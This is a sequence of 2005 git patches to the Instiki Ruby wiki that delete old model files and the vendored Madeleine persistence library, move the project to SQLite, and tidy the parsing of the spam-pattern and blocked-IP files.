      " - # inside_chunks(Literal::Pre) ==> yield 456 - def inside_chunks(chunk_types) - chunk_types.each{|chunk_type| chunk_type.apply_to(self) } - - chunk_types.each{|chunk_type| @chunks_by_type[chunk_type].each{|hide_chunk| - scan_chunkid(hide_chunk.text){|id| yield id } - } - } - end -end - -class WikiContent < String - - include ChunkManager - - DEFAULT_OPTS = { - :active_chunks => ACTIVE_CHUNKS, - :engine => Engines::Textile, - :engine_opts => [], - :mode => :show - }.freeze - - attr_reader :web, :options, :revision, :not_rendered, :pre_rendered - - # Create a new wiki content string from the given one. - # The options are explained at the top of this file. - def initialize(revision, options = {}) - @revision = revision - @web = @revision.page.web - - @options = DEFAULT_OPTS.dup.merge(options) - @options[:engine] = Engines::MAP[@web.markup] - @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode - @options[:active_chunks] = (ACTIVE_CHUNKS - [WikiChunk::Word] ) if @web.brackets_only - - @not_rendered = @pre_rendered = nil - - super(@revision.content) - init_chunk_manager - build_chunks - @not_rendered = String.new(self) - end - - # Call @web.page_link using current options. - def page_link(name, text, link_type) - @options[:link_type] = (link_type || :show) - @web.make_link(name, text, @options) - end - - def build_chunks - # create and mask Includes and "active_chunks" chunks - Include.apply_to(self) - @options[:active_chunks].each{|chunk_type| chunk_type.apply_to(self)} - - # Handle hiding contexts like "pre" and "code" etc.. - # The markup (textile, rdoc etc) can produce such contexts with its own syntax. - # To reveal them, we work on a copy of the content. - # The copy is rendered and used to detect the chunks that are inside protecting context - # These chunks are reverted on the original content string. - - copy = WikiContentStub.new(self, @options) - @options[:engine].apply_to(copy) - - copy.inside_chunks(HIDE_CHUNKS) do |id| - @chunks_by_id[id].revert - end - end - - def pre_render! - unless @pre_rendered - @chunks_by_type[Include].each{|chunk| chunk.unmask } - @pre_rendered = String.new(self) - end - @pre_rendered - end - - def render! - pre_render! - @options[:engine].apply_to(self) - # unmask in one go. $~[1] is the chunk id - gsub!(MASK_RE[ACTIVE_CHUNKS]){ - if chunk = @chunks_by_id[$~[1]] - chunk.unmask_text - # if we match a chunkmask that existed in the original content string - # just keep it as it is - else - $~[0] - end} - self - end - - def page_name - @revision.page.name - end - - def page_id - @revision.page.id - end - -end diff --git a/app/models-old/wiki_service.rb b/app/models-old/wiki_service.rb deleted file mode 100644 index c7f8d515..00000000 --- a/app/models-old/wiki_service.rb +++ /dev/null @@ -1,229 +0,0 @@ -require 'open-uri' -require 'yaml' -require 'madeleine' -require 'madeleine/automatic' -require 'madeleine/zmarshal' - -require 'web' -require 'page' -require 'author' -require 'file_yard' -require 'instiki_errors' - -module AbstractWikiService - - attr_reader :webs, :system - - def authenticate(password) - # system['password'] variant is for compatibility with storages from older versions - password == (@system[:password] || @system['password'] || 'instiki') - end - - def create_web(name, address, password = nil) - @webs[address] = Web.new(self, name, address, password) unless @webs[address] - end - - def delete_web(address) - @webs[address] = nil - end - - def file_yard(web) - raise "Web #{@web.name} does not belong to this wiki service" unless @webs.values.include?(web) - # TODO cache FileYards - FileYard.new("#{self.storage_path}/#{web.address}", web.max_upload_size) - end - - def init_wiki_service - @webs = {} - @system = {} - end - - def edit_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, - password = nil, published = false, brackets_only = false, count_pages = false, - allow_uploads = true, max_upload_size = nil) - - if not @webs.key? old_address - raise Instiki::ValidationError.new("Web with address '#{old_address}' does not exist") - end - - if old_address != new_address - if @webs.key? new_address - raise Instiki::ValidationError.new("There is already a web with address '#{new_address}'") - end - @webs[new_address] = @webs[old_address] - @webs.delete(old_address) - @webs[new_address].address = new_address - end - - web = @webs[new_address] - web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only) - - web.name, web.markup, web.color, web.additional_style, web.safe_mode = - name, markup, color, additional_style, safe_mode - - web.password, web.published, web.brackets_only, web.count_pages = - password, published, brackets_only, count_pages, allow_uploads - web.allow_uploads, web.max_upload_size = allow_uploads, max_upload_size.to_i - end - - def read_page(web_address, page_name) - ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'" - web = @webs[web_address] - if web.nil? - ApplicationController.logger.debug "Web '#{web_address}' not found" - return nil - else - page = web.pages[page_name] - ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found" - return page - end - end - - def remove_orphaned_pages(web_address) - @webs[web_address].remove_pages(@webs[web_address].select.orphaned_pages) - end - - def revise_page(web_address, page_name, content, revised_on, author) - page = read_page(web_address, page_name) - page.revise(content, revised_on, author) - end - - def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil) - page = read_page(web_address, page_name) - page.rollback(revision_number, created_at, author_id) - end - - def setup(password, web_name, web_address) - @system[:password] = password - create_web(web_name, web_address) - end - - def setup? - not (@webs.empty?) - end - - def storage_path - self.class.storage_path - end - - def write_page(web_address, page_name, content, written_on, author) - @webs[web_address].add_page(page_name, content, written_on, author) - end - - private - def settings_changed?(web, markup, safe_mode, brackets_only) - web.markup != markup || - web.safe_mode != safe_mode || - web.brackets_only != brackets_only - end -end - -class WikiService - - include AbstractWikiService - include Madeleine::Automatic::Interceptor - - # These methods do not change the state of persistent objects, and - # should not be logged by Madeleine - automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path, :file_yard - - @@storage_path = './storage/' - - class << self - - def storage_path=(storage_path) - @@storage_path = storage_path - end - - def storage_path - @@storage_path - end - - def clean_storage - MadeleineServer.clean_storage(self) - end - - def instance - @madeleine ||= MadeleineServer.new(self) - @system = @madeleine.system - return @system - end - - def snapshot - @madeleine.snapshot - end - - end - - def initialize - init_wiki_service - end - -end - -class MadeleineServer - - attr_reader :storage_path - - # Clears all the command_log and snapshot files located in the storage directory, so the - # database is essentially dropped and recreated as blank - def self.clean_storage(service) - begin - Dir.foreach(service.storage_path) do |file| - if file =~ /(command_log|snapshot)$/ - File.delete(File.join(service.storage_path, file)) - end - end - rescue - Dir.mkdir(service.storage_path) - end - end - - def initialize(service) - @storage_path = service.storage_path - @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, - Madeleine::ZMarshal.new) { - service.new - } - start_snapshot_thread - end - - def command_log_present? - not Dir[storage_path + '/*.command_log'].empty? - end - - def snapshot - @server.take_snapshot - end - - def start_snapshot_thread - Thread.new(@server) { - hours_since_last_snapshot = 0 - while true - begin - hours_since_last_snapshot += 1 - # Take a snapshot if there is a command log, or 24 hours - # have passed since the last snapshot - if command_log_present? or hours_since_last_snapshot >= 24 - ActionController::Base.logger.info "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] " + - 'Taking a Madeleine snapshot' - snapshot - hours_since_last_snapshot = 0 - end - sleep(1.hour) - rescue => e - ActionController::Base.logger.error(e) - # wait for a minute (not to spoof the log with the same error) - # and go back into the loop, to keep trying - sleep(1.minute) - ActionController::Base.logger.info("Retrying to save a snapshot") - end - end - } - end - - def system - @server.system - end - -end diff --git a/app/models-old/wiki_words.rb b/app/models-old/wiki_words.rb deleted file mode 100644 index 8f2b154f..00000000 --- a/app/models-old/wiki_words.rb +++ /dev/null @@ -1,23 +0,0 @@ -# Contains all the methods for finding and replacing wiki words -module WikiWords - # In order of appearance: Latin, greek, cyrillian, armenian - I18N_HIGHER_CASE_LETTERS = - "À?ÂÃÄÅĀĄĂÆÇĆČĈĊĎ?ÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌ?Î?ĪĨĬĮİIJĴĶ?ĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌ?ŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴ?ŶŸŹŽŻ" + - "ΑΒΓΔΕΖΗΘΙΚΛΜ?ΞΟΠΡΣΤΥΦΧΨΩ" + - "ΆΈΉΊΌΎ?ѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎ?ҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾ?ӃӅӇӉӋ??ӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" + - "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀ?ՂՃՄՅՆՇՈՉՊՋՌ???ՑՒՓՔՕՖ" - - I18N_LOWER_CASE_LETTERS = - "àáâãäå?ąăæçć?ĉċ?đèéêëēęěĕėƒ?ğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöø?ő?œŕřŗśšş?șťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſ?ð" + - "άέήίΰαβγδεζηθικλμνξοπ?ςστυφχψωϊϋό?ώ?" + - "абвгдежзийклмнопр?туфхцчшщъыь?ю??ёђѓєѕіїјљћќ?ўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿ?ҋ??ґғҕҗҙқ?ҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛ?ӟӡӣӥӧөӫӭӯӱӳӵӹ" + - "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտր?ւփքօֆև" - - WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+' - CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u - - def self.separate(wiki_word) - wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2') - end - -end From 634bc67342c325c828c35c155bee32b487fe60e1 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 02:28:37 +0000 Subject: [PATCH 331/529] More lenient parsing of blocked_ips.txt and spam_patterns.txt --- config/environments/production.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/config/environments/production.rb b/config/environments/production.rb index 02d9dcb9..c02b9346 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -5,11 +5,15 @@ ActionController::Base.perform_caching = false spam_patterns_filename = RAILS_ROOT + '/config/spam_patterns.txt' if File.exists? spam_patterns_filename - SPAM_PATTERNS = File.readlines(spam_patterns_filename).select { |line| line != '' }.map { - |line| Regexp.new(line) } + SPAM_PATTERNS = File.readlines(spam_patterns_filename).delete_if { |line| line.strip.empty? }.map { + |line| Regexp.new(line.strip) } end blocked_ips_filename = RAILS_ROOT + '/config/blocked_ips.txt' if File.exists? blocked_ips_filename - BLOCKED_IPS = File.readlines(blocked_ips_filename).select { |line| line != '' } + BLOCKED_IPS = File.readlines(blocked_ips_filename).delete_if { |line| line.strip.empty? }.map { + |line| line.strip } end + +require 'breakpoint' +breakpoint \ No newline at end of file From 08a66badb97899b3b5d734402236455ec3befa0d Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 02:29:51 +0000 Subject: [PATCH 332/529] Removed debugging code from the last commit --- config/environments/production.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/config/environments/production.rb b/config/environments/production.rb index c02b9346..100269af 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -14,6 +14,3 @@ if File.exists? blocked_ips_filename BLOCKED_IPS = File.readlines(blocked_ips_filename).delete_if { |line| line.strip.empty? }.map { |line| line.strip } end - -require 'breakpoint' -breakpoint \ No newline at end of file From 17833e23a5b5b257d8697d6c47c6012fa0720f27 Mon Sep 17 00:00:00 2001 From: Ben Bleything Date: Tue, 9 Aug 2005 03:45:09 +0000 Subject: [PATCH 333/529] Add executable bit to script/console and script/create_db --- script/console | 0 script/create_db | 0 2 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 script/console mode change 100644 => 100755 script/create_db diff --git a/script/console b/script/console old mode 100644 new mode 100755 diff --git a/script/create_db b/script/create_db old mode 100644 new mode 100755 From fffe1b897e061a172f7248525dcbb6e3113ca869 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 03:52:54 +0000 Subject: [PATCH 334/529] added log directory, set default database.yml --- config/{database.yml => database.default.yml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename config/{database.yml => database.default.yml} (100%) diff --git a/config/database.yml b/config/database.default.yml similarity index 100% rename from config/database.yml rename to config/database.default.yml From b94559bc4c92d9d3f0a6c4a7ae7b5c21ab39ffdb Mon Sep 17 00:00:00 2001 From: Ben Bleything Date: Tue, 9 Aug 2005 04:40:55 +0000 Subject: [PATCH 335/529] remove development_structure.sql and ignore it in the future. We're going to be hurting if we're developing on multiple db engines and keep this file around. --- db/development_structure.sql | 40 ------------------------------------ 1 file changed, 40 deletions(-) delete mode 100644 db/development_structure.sql diff --git a/db/development_structure.sql b/db/development_structure.sql deleted file mode 100644 index 61d49c31..00000000 --- a/db/development_structure.sql +++ /dev/null @@ -1,40 +0,0 @@ -CREATE TABLE pages ( - id INTEGER PRIMARY KEY, - created_at DATETIME NOT NULL, - updated_at DATETIME NOT NULL, - web_id INTEGER NOT NULL, - locked_by VARCHAR(60), - name VARCHAR(60), - locked_at DATETIME -); -CREATE TABLE revisions ( - id INTEGER PRIMARY KEY, - created_at DATETIME NOT NULL, - updated_at DATETIME NOT NULL, - page_id INTEGER NOT NULL, - content TEXT NOT NULL, - author VARCHAR(60), - ip VARCHAR(60), - number INTEGER -); -CREATE TABLE system ( - id INTEGER PRIMARY KEY, - 'password' VARCHAR(60) -); -CREATE TABLE webs ( - id INTEGER PRIMARY KEY, - created_at DATETIME NOT NULL, - updated_at DATETIME NOT NULL, - name VARCHAR(60) NOT NULL, - address VARCHAR(60) NOT NULL, - 'password' VARCHAR(60), - additional_style VARCHAR(255), - allow_uploads INTEGER DEFAULT '1', - published INTEGER DEFAULT '0', - count_pages INTEGER DEFAULT '0', - markup VARCHAR(50) DEFAULT 'textile', - color VARCHAR(6) DEFAULT '008B26', - max_upload_size INTEGER DEFAULT 100, - safe_mode INTEGER DEFAULT '0', - brackets_only INTEGER DEFAULT '0' -); From 2c7a2779c7f7e8cae10c113cb8af4ca04453d579 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Wed, 10 Aug 2005 05:28:05 +0000 Subject: [PATCH 336/529] Deleting Madeleine... with pleasure (it is cool, but not for wiki data) --- instiki.gemspec | 4 +- vendor/madeleine-0.7.1/.cvsignore | 2 - vendor/madeleine-0.7.1/COPYING | 31 - vendor/madeleine-0.7.1/NEWS | 55 - vendor/madeleine-0.7.1/README | 78 -- vendor/madeleine-0.7.1/TODO | 23 - vendor/madeleine-0.7.1/contrib/batched.rb | 298 ----- vendor/madeleine-0.7.1/contrib/benchmark.rb | 35 - .../madeleine-0.7.1/contrib/test_batched.rb | 245 ---- .../contrib/test_scalability.rb | 248 ---- .../contrib/threaded_benchmark.rb | 44 - vendor/madeleine-0.7.1/docs/.cvsignore | 1 - vendor/madeleine-0.7.1/docs/designRules.html | 87 -- vendor/madeleine-0.7.1/docs/docs.css | 28 - vendor/madeleine-0.7.1/generate_rdoc.rb | 3 - vendor/madeleine-0.7.1/install.rb | 1098 ----------------- vendor/madeleine-0.7.1/lib/madeleine.rb | 420 ------- .../lib/madeleine/automatic.rb | 418 ------- vendor/madeleine-0.7.1/lib/madeleine/clock.rb | 94 -- vendor/madeleine-0.7.1/lib/madeleine/files.rb | 19 - .../madeleine-0.7.1/lib/madeleine/zmarshal.rb | 60 - vendor/madeleine-0.7.1/madeleine.gemspec | 23 - vendor/madeleine-0.7.1/samples/.cvsignore | 3 - vendor/madeleine-0.7.1/samples/clock_click.rb | 73 -- .../samples/dictionary_client.rb | 23 - .../samples/dictionary_server.rb | 94 -- vendor/madeleine-0.7.1/samples/painter.rb | 60 - vendor/madeleine-0.7.1/test/test.rb | 320 ----- vendor/madeleine-0.7.1/test/test_automatic.rb | 559 --------- vendor/madeleine-0.7.1/test/test_clocked.rb | 94 -- .../madeleine-0.7.1/test/test_command_log.rb | 110 -- vendor/madeleine-0.7.1/test/test_executer.rb | 54 - .../madeleine-0.7.1/test/test_persistence.rb | 169 --- vendor/madeleine-0.7.1/test/test_platforms.rb | 65 - vendor/madeleine-0.7.1/test/test_zmarshal.rb | 52 - 35 files changed, 2 insertions(+), 4988 deletions(-) delete mode 100755 vendor/madeleine-0.7.1/.cvsignore delete mode 100755 vendor/madeleine-0.7.1/COPYING delete mode 100755 vendor/madeleine-0.7.1/NEWS delete mode 100755 vendor/madeleine-0.7.1/README delete mode 100755 vendor/madeleine-0.7.1/TODO delete mode 100755 vendor/madeleine-0.7.1/contrib/batched.rb delete mode 100755 vendor/madeleine-0.7.1/contrib/benchmark.rb delete mode 100755 vendor/madeleine-0.7.1/contrib/test_batched.rb delete mode 100755 vendor/madeleine-0.7.1/contrib/test_scalability.rb delete mode 100755 vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb delete mode 100755 vendor/madeleine-0.7.1/docs/.cvsignore delete mode 100755 vendor/madeleine-0.7.1/docs/designRules.html delete mode 100755 vendor/madeleine-0.7.1/docs/docs.css delete mode 100755 vendor/madeleine-0.7.1/generate_rdoc.rb delete mode 100755 vendor/madeleine-0.7.1/install.rb delete mode 100755 vendor/madeleine-0.7.1/lib/madeleine.rb delete mode 100755 vendor/madeleine-0.7.1/lib/madeleine/automatic.rb delete mode 100755 vendor/madeleine-0.7.1/lib/madeleine/clock.rb delete mode 100755 vendor/madeleine-0.7.1/lib/madeleine/files.rb delete mode 100755 vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb delete mode 100755 vendor/madeleine-0.7.1/madeleine.gemspec delete mode 100755 vendor/madeleine-0.7.1/samples/.cvsignore delete mode 100755 vendor/madeleine-0.7.1/samples/clock_click.rb delete mode 100755 vendor/madeleine-0.7.1/samples/dictionary_client.rb delete mode 100755 vendor/madeleine-0.7.1/samples/dictionary_server.rb delete mode 100755 vendor/madeleine-0.7.1/samples/painter.rb delete mode 100755 vendor/madeleine-0.7.1/test/test.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_automatic.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_clocked.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_command_log.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_executer.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_persistence.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_platforms.rb delete mode 100755 vendor/madeleine-0.7.1/test/test_zmarshal.rb diff --git a/instiki.gemspec b/instiki.gemspec index 06b2a10f..adf1dd74 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -7,7 +7,7 @@ spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'instiki' s.version = "0.10.2" - s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine' + s.summary = 'Easy to install WikiClone running on WEBrick and SQLite' s.description = <<-EOF Instiki is a Wiki Clone written in Ruby that ships with an embedded webserver. You can setup up an Instiki in just a few steps. @@ -24,10 +24,10 @@ spec = Gem::Specification.new do |s| s.has_rdoc = false - s.add_dependency('madeleine', '= 0.7.1') s.add_dependency('RedCloth', '= 3.0.3') s.add_dependency('rubyzip', '= 0.5.8') s.add_dependency('rails', '= 0.13.1') + s.add_dependency('sqlite3-ruby', '= 1.1.0') s.requirements << 'none' s.require_path = 'lib' diff --git a/vendor/madeleine-0.7.1/.cvsignore b/vendor/madeleine-0.7.1/.cvsignore deleted file mode 100755 index c3c960b4..00000000 --- a/vendor/madeleine-0.7.1/.cvsignore +++ /dev/null @@ -1,2 +0,0 @@ -PrevalenceBase -*.gem diff --git a/vendor/madeleine-0.7.1/COPYING b/vendor/madeleine-0.7.1/COPYING deleted file mode 100755 index 19d570ec..00000000 --- a/vendor/madeleine-0.7.1/COPYING +++ /dev/null @@ -1,31 +0,0 @@ - - Copyright (c) 2003-2004, Anders Bengtsson - - Redistribution and use in source and binary forms, with or without - modification, are permitted provided that the following conditions - are met: - - 1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - 2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - - 3. The names of its contributors may not be used to endorse or promote - products derived from this software without specific prior written - permission. - - THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND - CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, - INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS - BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED - TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON - ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF - THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - SUCH DAMAGE. diff --git a/vendor/madeleine-0.7.1/NEWS b/vendor/madeleine-0.7.1/NEWS deleted file mode 100755 index 8fd9d325..00000000 --- a/vendor/madeleine-0.7.1/NEWS +++ /dev/null @@ -1,55 +0,0 @@ - -Madeleine 0.7.1 (August 22, 2004): - - * ZMarshal changed to work around Zlib bug. - * automatic_read_only fixed when intercepted class is inherited from - -Madeleine 0.7 (July 23, 2004): - - * Broken clock unit test on win32 fixed. - * AutomaticSnapshotMadeleine detects snapshot format on recovery - * Snapshot compression with Madeleine::ZMarshal - * YAML snapshots supported for automatic commands - * SOAP snapshots supported for automatic commands - * Read-only methods for automatic commands - -Madeleine 0.6.1 (March 30, 2004): - - * Bug fix: Use binary mode for I/O, fixes log replay - on mswin32 port of Ruby (Patch from Martin Tampe) - -Madeleine 0.6 (March 28, 2004): - - * Changed license to BSD - * Added a RubyGem specification - * Re-designed initialization (but still backward-compatible) - * Bug fix: Fixed use of finalized object's id in AutomaticSnapshotMadeleine - -Madeleine 0.5 (August 31, 2003): - - * Bug fix: Log order on recovery was wrong on some platforms - (Reported by IIMA Susumu) - * No longer requires the system clock to always increase - * Shared locks for queries - -Madeleine 0.4 (July 4, 2003): - - * Deprecated ClockedSnapshotMadeleine - * Added execute_query() - * API documentation in RDoc format - -Madeleine 0.3 (May 15, 2003): - - * Automatic commands - * Some classes exported to the default module - * Clock support not loaded by default (require 'madeleine/clock') - * Bug fix: Error handling when replaying logged commands. - * New system through block instead of argument (API change) - * Works in $SAFE = 1 - -Madeleine 0.2: - - * Supports custom marshalling implementations. - * Changed interface for ClockedSystem and Clock. - * Some documentation added, including API docs. - diff --git a/vendor/madeleine-0.7.1/README b/vendor/madeleine-0.7.1/README deleted file mode 100755 index 3fb6ce17..00000000 --- a/vendor/madeleine-0.7.1/README +++ /dev/null @@ -1,78 +0,0 @@ - -Madeleine is a Ruby implementation of Object Prevalence: Transparent -persistence of business objects using command logging and complete -system snapshots. - - - -Madeleine's design is based on Prevayler, the original Java -prevalence layer. - -Learn more about object prevalence at . - - -Installation: - - Typical installation procedure is: - $ ruby install.rb config - $ ruby install.rb setup - # ruby install.rb install (may require root privilege) - Try 'ruby install.rb --help' for detailed usage. - - [From the documentation of Minero Aoki's 'install.rb'] - -Usage: - - require 'madeleine' - - # Create an application as a prevalent system - - madeleine = SnapshotMadeleine.new("my_example_storage") { - SomeExampleApplication.new() - } - - # Do modifications of the system by sending commands through - # the Madeleine instance. A command is an object with a suitable - # "execute(system)" method. - - madeleine.execute_command(command) - - -Requirements: - - * Ruby 1.8.1 or later - - Additionaly, some of the sample code also uses ruby/tk. - - -Known problems: - - * Won't run in some Windows-ports of Ruby due to missing - fsync() call. - -Contact: - - Homepage: - - - Questions, bug reports, patches, complaints? Use the mailing list: - - -License: - - BSD (see the file COPYING) - -Credits: - - Anders Bengtsson - Prevalence core impl. - Stephen Sykes - Automatic commands impl. - - With the help of patches, testing and feedback from: - - Steve Conover, David Heinemeier Hansson, Johan Lind, Hkan Rberg, - IIMA Susumu, Martin Tampe and Jon Tirsn - - Thanks to Klaus Wuestefeld and the Prevayler developers for the - model of this software; to Minero Aoki for the installer; to Matz and - the core developers for the Ruby language! - diff --git a/vendor/madeleine-0.7.1/TODO b/vendor/madeleine-0.7.1/TODO deleted file mode 100755 index d2e14f7b..00000000 --- a/vendor/madeleine-0.7.1/TODO +++ /dev/null @@ -1,23 +0,0 @@ - - -- Fix broken time-dependent unit test -* Rolling snapshots, with age limit -- Compressed snapshots -- Full support for YAML snapshots -- SOAP marshalling -* Configurable log marshaller (or use the snapshot marshaller?) -* Write a document about the different marshallers, for app. developers. - -* Move all default implementations into a "Default" module -* Introduce an object representing a log directory -* Move recovery out of DefaultSnapshotMadeleine entirely -* Write an example with a web server - -* Replace filesystem with mock objects for unit testing. -* ClockCommand -* Integrate batched-writes in SnapshotMadeleine -* More sample code -* More documentation -* DRb integration -* Rollback -* Handle broken logs? diff --git a/vendor/madeleine-0.7.1/contrib/batched.rb b/vendor/madeleine-0.7.1/contrib/batched.rb deleted file mode 100755 index 2532cd64..00000000 --- a/vendor/madeleine-0.7.1/contrib/batched.rb +++ /dev/null @@ -1,298 +0,0 @@ -# Batched writes for Madeleine -# -# Copyright(c) Hkan Rberg 2003 -# -# -# This is an experimental implementation of batched log writes to mininize -# calls to fsync. It uses a Shared/Exclusive-Lock, implemented in sync.rb, -# which is included in Ruby 1.8. -# -# Writes are batched for a specified amount of time, before written to disk and -# then executed. -# -# For a detailed discussion about the problem, see -# http://www.prevayler.org/wiki.jsp?topic=OvercomingTheWriteBottleneck -# -# -# Usage is identical to normal SnapshotMadeleine, and it can also be used as -# persister for AutomaticSnapshotMadeleine. (One difference: the log isn't -# visible on disk until any commands are executed.) -# -# You can also use the execute_query method for shared synchronzied queries, -# for eaay coarse-grained locking of the system. -# -# The exclusive lock is only locked during the actual execution of commands and -# while closing. -# -# Keeping both log writes and executes of commands in the originating thread -# is needed by AutomaticSnapshotPrevayler. Hence the strange SimplisticPipe -# class. -# -# Todo: -# - It seems like Sync (sync.rb) prefers shared locks. This should probably -# be changed. -# -# -# Madeleine - Ruby Object Prevalence -# -# Copyright(c) Anders Bengtsson 2003 -# - -require 'madeleine' -require 'madeleine/clock' - -include Madeleine::Clock - -module Madeleine - module Batch - class BatchedSnapshotMadeleine < SnapshotMadeleine - - def initialize(directory_name, marshaller=Marshal, &new_system_block) - super(directory_name, marshaller, &new_system_block) - @log_actor = LogActor.launch(self) - end - - def execute_command(command) - verify_command_sane(command) - queued_command = QueuedCommand.new(command) - @lock.synchronize(:SH) do - raise "closed" if @closed - @logger.store(queued_command) - end - queued_command.wait_for - end - - def execute_query(query) - verify_command_sane(query) - @lock.synchronize(:SH) do - execute_without_storing(query) - end - end - - def close - @log_actor.destroy - @lock.synchronize do - @logger.close - @closed = true - end - end - - def flush - @lock.synchronize do - @logger.flush - end - end - - def take_snapshot - @lock.synchronize(:SH) do - @lock.synchronize do - @logger.close - end - Snapshot.new(@directory_name, system, @marshaller).take - @logger.reset - end - end - - private - - def create_lock - Sync.new - end - - def create_logger(directory_name, log_factory) - BatchedLogger.new(directory_name, log_factory, self.system) - end - - def log_factory - BatchedLogFactory.new - end - end - - private - - class LogActor - def self.launch(madeleine, delay=0.01) - result = new(madeleine, delay) - result - end - - def destroy - @is_destroyed = true - if @thread.alive? - @thread.wakeup - @thread.join - end - end - - private - - def initialize(madeleine, delay) - @is_destroyed = false - - madeleine.flush - @thread = Thread.new { - until @is_destroyed - sleep(delay) - madeleine.flush - end - } - end - end - - class BatchedLogFactory - def create_log(directory_name) - BatchedLog.new(directory_name) - end - end - - class BatchedLogger < Logger - def initialize(directory_name, log_factory, system) - super(directory_name, log_factory) - @buffer = [] - @system = system - end - - def store(queued_command) - @buffer << queued_command - end - - def close - return if @log.nil? - flush - @log.close - @log = nil - end - - def flush - return if @buffer.empty? - - open_new_log if @log.nil? - - if @system.kind_of?(ClockedSystem) - @buffer.unshift(QueuedTick.new) - end - - @buffer.each do |queued_command| - queued_command.store(@log) - end - - @log.flush - - @buffer.each do |queued_command| - queued_command.execute(@system) - end - - @buffer.clear - end - end - - class BatchedLog < CommandLog - def store(command) - Marshal.dump(command, @file) - end - - def flush - @file.flush - @file.fsync - end - end - - class QueuedCommand - def initialize(command) - @command = command - @pipe = SimplisticPipe.new - end - - def store(log) - @pipe.write(log) - end - - def execute(system) - @pipe.write(system) - end - - def wait_for - @pipe.read do |log| - log.store(@command) - end - - @pipe.read do |system| - return @command.execute(system) - end - end - end - - class QueuedTick - def initialize - @tick = Tick.new(Time.now) - end - - def store(log) - log.store(@tick) - end - - def execute(system) - @tick.execute(system) - end - end - - class SimplisticPipe - def initialize - @receive_lock = Mutex.new.lock - @consume_lock = Mutex.new.lock - @message = nil - end - - def read - begin - wait_for_message_received - - if block_given? - yield @message - else - return @message - end - - ensure - message_consumed - end - end - - def write(message) - raise WriteBlockedException unless can_write? - - @message = message - message_received - wait_for_message_consumed - @message = nil - end - - def can_write? - @message.nil? - end - - private - - def message_received - @receive_lock.unlock - end - - def wait_for_message_received - @receive_lock.lock - end - - def message_consumed - @consume_lock.unlock - end - - def wait_for_message_consumed - @consume_lock.lock - end - end - - class WriteBlockedException < Exception - end - end -end - -BatchedSnapshotMadeleine = Madeleine::Batch::BatchedSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/contrib/benchmark.rb b/vendor/madeleine-0.7.1/contrib/benchmark.rb deleted file mode 100755 